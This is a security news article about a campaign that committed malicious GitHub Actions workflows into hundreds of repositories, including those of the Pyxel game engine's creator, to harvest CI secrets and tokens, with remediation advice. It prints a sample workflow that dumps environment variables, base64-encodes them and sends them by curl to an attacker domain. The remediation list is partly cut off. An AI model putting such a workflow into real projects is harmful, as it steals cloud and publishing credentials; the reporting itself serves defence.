
The Third-Party Agent Problem: Securing Invisible AI
Enterprises spend millions securing in-house LLMs, but the third-party agent problem leaves over a thousand autonomous SaaS tools invisible to identity stacks.
A massive campaign weaponizing malicious GitHub Actions workflows compromised high-profile maintainer accounts to steal cloud secrets and repository tokens.
Senior Technology Analyst

A massive campaign weaponizing malicious GitHub Actions workflows compromised high-profile maintainer accounts to steal cloud secrets and repository tokens.
A coordinated supply chain campaign has compromised developer credentials to inject malicious GitHub Actions workflows across hundreds of open-source software projects. The ongoing operation, uncovered by researchers at security firm StepSecurity, demonstrates how attackers increasingly bypass traditional application vulnerabilities by moving directly against CI/CD pipelines to siphon build secrets, API keys, and deployment credentials.
Among the highest-profile casualties of the intrusion was Takashi Kitao, the creator of Pyxel—an immensely popular retro game engine with over 18,400 stars on GitHub. After threat actors gained control of Kitao’s account, they launched an automated barrage starting at 13:20 UTC, pushing poisoned workflow files to at least 27 repositories under his purview in rapid succession. That burst formed only a fraction of a broader assault that has introduced malicious GitHub Actions workflows into more than 340 repositories across GitHub, with telemetry pointing toward automated discovery sweeps searching across tens of thousands of developer spaces.
The initial breach vector did not rely on exotic zero-day flaws within GitHub's core infrastructure. Instead, the attackers capitalized on identity-level compromises—likely harvesting personal access tokens (PATs) or leveraging session hijacking from infected developer workstations. Because these credentials carried direct commit rights across the maintainers' personal and organization repositories, the attackers avoided the friction of submitting suspicious pull requests from external forks.
Armed with valid commit privileges, the adversary bypassed the pull request review gates that typical open-source projects rely on for code validation. The threat actor pushed commits directly to project branches, creating or modifying files within the .github/workflows/ directory. By inserting workflow files directly into target branches, the attacker ensured that GitHub’s automated runners immediately picked up the jobs and scheduled them for execution on GitHub-hosted cloud infrastructure.
In Kitao's case, the speed of the commits revealed automated scripting designed to maximize blast radius before detection. The actor systematically iterated through every accessible repository within the authenticated profile, committing slight variations of the exfiltration workflow to avoid basic string-matching heuristic alerts while keeping the core objective intact: dumping the execution environment's memory and environmental variables.
Once scheduled, the injected workflows execute within an ephemeral runner provided by GitHub. These virtual machines automatically inherit project-level environment variables, default runner tokens, and any stored repository secrets configured by the maintainer to handle testing, linting, packaging, and deployments.
The payload embedded within the malicious workflow relied on straightforward shell utilities to harvest high-value cryptographic assets. Upon runner spin-up, the job initiated an audit of all available environment variables, parsing names matching common cloud and deployment conventions: AWS access keys, Google Cloud service accounts, Docker Hub authentication strings, npm publishing tokens, and PyPI upload tokens. Beyond explicitly declared variables, the workflow targeted GitHub’s built-in GITHUB_TOKEN secret.
# Conceptual representation of the observed harvesting logic
name: CI Build Update
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: System Audit
run: |
ENV_DUMP=$(env | base64 -w 0)
curl -s -X POST https://telemetry-collect-endpoint[.]xyz/payload \
-H "Content-Type: application/json" \
-d "{\"repo\": \"$GITHUB_REPOSITORY\", \"data\": \"$ENV_DUMP\"}"
The gathered strings were base64-encoded to evade transport-layer filtering and transmitted over encrypted HTTPS to external command-and-control (C2) domains controlled by the adversary. By using standard out-of-band HTTPS requests from runner infrastructure, the malicious processes blended cleanly into normal egress network traffic generated during regular build tasks, such as downloading dependency wheels or fetching external compiler toolchains.
Because GitHub Actions masks registered repository secrets in standard workflow build logs, maintainers reviewing past execution logs might see rows of asterisks (***). However, when variables are base64-encoded, fragmented, or piped directly into an external network socket, GitHub’s log-sanitization parser cannot detect or mask the exfiltrated plaintext.
This incident highlights an architectural tension in cloud-based continuous integration: CI/CD runners sit at the absolute epicenter of developer trust, yet they frequently execute code with broad network access and privileged credentials. While GitHub introduced granular permissions for the default GITHUB_TOKEN in 2021—shifting the baseline from read/write to read-only—many existing repositories maintain legacy settings that grant default write permissions to the build token.
Even when the GITHUB_TOKEN itself possesses limited permissions, third-party publishing tokens stored in repository secrets create immediate downstream exposure. If an attacker exfiltrates an npm or PyPI deployment token from a build configuration, they can publish trojanized packages upstream to package registries without touching another line of code in the core repository. Software downstream consumers subsequently pull the compromised package during automated dependency updates, executing arbitrary code across thousands of corporate production networks.
Furthermore, the campaign underscores the limits of branch protection rules when account credentials themselves are owned. While branch protection can prevent force pushes or require signed commits, many solo or small-team open-source maintainers operate without branch protections enabled on non-default branches. Attackers can create throwaway branches, trigger workflow runs against them, capture secrets, and delete the branches before maintainers notice anomalous notifications.
Remediating this campaign requires affected maintainers to assume that every credential present within their repository settings during the workflow run was fully compromised. Merely deleting the rogue workflow files or reverting the Git commit history will not neutralize the threat if long-lived publishing tokens remain active.
Organizations and open-source project leads must execute a strict recovery sequence:
permissions: contents: read) to ensure runners cannot leverage elevated scopes by default.As supply chain attackers prioritize CI/CD infrastructure over direct source-code tampering, modern project governance must view the build runtime as an untrusted boundary. Treating CI/CD environments as zero-trust zones is no longer an enterprise luxury—it is the baseline defense keeping open-source software stable.
This report was independently synthesized, fact-checked, and expanded with technical mitigation guidance and risk evaluations by the Zero Hour Tech editorial desk. Initial reporting, vendor bulletins, or threat telemetry were tracked from thehackernews.com .
Contributing editor at Zero Hour Tech, specializing in cybersecurity & privacy analysis, vulnerability response, and emerging software paradigms.
View Full Profile & Articles →
Enterprises spend millions securing in-house LLMs, but the third-party agent problem leaves over a thousand autonomous SaaS tools invisible to identity stacks.

A multi-state TP-Link router security lawsuit alleges the networking giant misled buyers regarding firmware vulnerabilities and its operational ties to China.
Get our concise weekly security briefings covering newly disclosed vulnerabilities, exploit mechanics, and actionable system hardening guides.
100% Privacy guaranteed. One-click unsubscribe at any time.